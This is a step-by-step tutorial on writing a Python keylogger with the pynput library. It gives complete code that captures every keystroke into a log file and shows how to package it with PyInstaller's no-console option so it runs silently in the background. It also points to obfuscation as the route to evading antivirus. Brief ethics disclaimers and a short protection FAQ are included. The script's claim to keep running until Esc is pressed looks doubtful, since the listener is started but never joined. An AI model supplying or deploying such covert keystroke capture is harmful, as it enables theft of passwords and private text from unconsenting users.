Creating a Keylogger in Python

Introduction
Prerequisites
Setting up the Environment
Creating the Keylogger
Running the Keylogger
- Keylogger in the Background
Common Errors and Troubleshooting
Frequently Asked Questions
Conclusion

Introduction

In this tutorial, we will learn how to create a keylogger in Python. A keylogger is a program that records and captures keyboard inputs on a computer. It can be used for various purposes such as monitoring activities, debugging, or even malicious intent. By the end of this tutorial, you will have a basic understanding of keyloggers and be able to create one using Python.

Prerequisites

To follow along with this tutorial, you should have a basic understanding of Python programming language. It is recommended to have Python 3.x installed on your system.

Setting up the Environment

Before we start creating the keylogger, we need to set up our environment. Here are the steps to do so:

Install Python: If you don’t have Python installed on your system, you can download it from the official website and follow the installation instructions for your operating system.
Install Required Libraries: We will be using the pynput library to capture and handle keyboard inputs. You can install it using the following command:
```
pip install pynput
```
Additionally, we will be using the datetime library to record the timestamp of each keystroke. The datetime library is included in Python’s standard library, so no installation is required.

Creating the Keylogger

Now that we have our environment set up, let’s start creating the keylogger. The keylogger will listen for keyboard inputs and record them along with the timestamp. We will create a Python script and add the necessary code.

Open your preferred Python editor or IDE and create a new file named keylogger.py.

Step 1: Import Required Libraries

```python
import datetime
from pynput import keyboard
``` In the first step, we import the required libraries. We import the `datetime` library to record the timestamp and the `keyboard` module from the `pynput` library to capture keyboard inputs.

Step 2: Define Variables

```python
log = ''
filename = 'keylog.txt'
``` Next, we define two variables. The `log` variable will store the captured keystrokes, and the `filename` variable will be used to specify the name of the log file.

Step 3: Define Keystroke Listener

```python
def on_press(key):
    global log
    if key == keyboard.Key.esc:
        write_log()
        return False
    try:
        log += key.char
    except AttributeError:
        if key == keyboard.Key.space:
            log += ' '
        else:
            log += ' [' + key.name + '] '
``` In this step, we define a function `on_press()` which will be called whenever a key is pressed. Inside the function, we first declare the `log` variable as global so that we can manipulate it within the function. 

We check if the pressed key is the “esc” key. If it is, we call the write_log() function (which we will define later) to save the captured keystrokes to a file and return False to stop listening for more keystrokes.

If the pressed key is a character key, we append the character to the log variable. If the pressed key is the spacebar, we append a space. Otherwise, we append the name of the key surrounded by brackets.

Step 4: Define Log Writing Function

```python
def write_log():
    global log
    with open(filename, 'a') as f:
        f.write(log)
    log = ''
``` Next, we define a function `write_log()` which will be called to write the captured keystrokes to the log file. We declare the `log` variable as global to access and modify it within the function. We open the log file in append mode and write the contents of the `log` variable. After writing, we reset the `log` variable to an empty string.

Step 5: Create Keystroke Listener and Start Listening

```python
listener = keyboard.Listener(on_press=on_press)
listener.start()
``` In the final step of creating the keylogger, we create an instance of the `keyboard.Listener` class, passing our `on_press()` function as a callback to handle key presses. We then start the listener.

That’s it! We have successfully created the keylogger. The script will keep running and capturing keystrokes until the “esc” key is pressed.

Running the Keylogger

To run the keylogger, follow these steps:

Save the keylogger.py file.
Open a terminal or command prompt and navigate to the directory where the keylogger.py file is located.
Run the script by executing the following command:
```
python keylogger.py
```
The keylogger will start capturing keystrokes. Press the desired keys.
Press the “esc” key to stop the keylogger.

Keylogger in the Background

If you want the keylogger to run in the background without showing a terminal window, you can use a tool like pyinstaller to convert the script into an executable file. This allows the keylogger to be run silently.

To create an executable, follow these steps:

Install pyinstaller by executing the following command:
```
pip install pyinstaller
```
Navigate to the directory where the keylogger.py file is located.
Run the following command to create the executable:
```
pyinstaller --onefile --noconsole keylogger.py
```
After the command completes, an executable file named keylogger.exe will be created in the dist directory.
Double-click the keylogger.exe file to run the keylogger silently in the background.

Note: Keep in mind the ethical considerations and legal restrictions when using a keylogger. Always respect the privacy and consent of others.

Common Errors and Troubleshooting

ModuleNotFoundError: If you encounter a ModuleNotFoundError when trying to import the pynput library, make sure it is installed correctly. Try reinstalling the library using the command pip install pynput.
PermissionDeniedError: If you get a PermissionDeniedError when trying to write to the log file, make sure you have the necessary write permissions for the specified directory. Also, ensure that no other program has the log file open, preventing write access.

Frequently Asked Questions

Q: Can I use this keylogger for malicious purposes? A: While it is possible to use a keylogger for malicious purposes, it is important to respect the privacy and consent of others. Using keyloggers without proper authorization is illegal and unethical.

Q: How can I protect myself from keyloggers? A: To protect yourself from keyloggers, ensure that your computer has up-to-date antivirus software installed. Be cautious when downloading and installing software from untrusted sources. Regularly scan your system for malware and avoid clicking on suspicious links or downloading attachments from unknown sources.

Q: Is this keylogger undetectable by antivirus software? A: The keylogger created in this tutorial may be detected by some antivirus software due to its behavior of capturing keystrokes. To make a keylogger undetectable, further advanced techniques such as obfuscation and encryption may be required, which are beyond the scope of this tutorial.

Conclusion

In this tutorial, we have learned how to create a keylogger in Python. We covered the necessary steps from setting up the environment to running the keylogger. Remember to use this knowledge responsibly and always follow ethical guidelines. Keyloggers can be powerful tools for legitimate purposes, such as debugging or monitoring activities, but they can also be used maliciously. Always ensure you have proper authorization before using a keylogger.

Published: 17 June 2020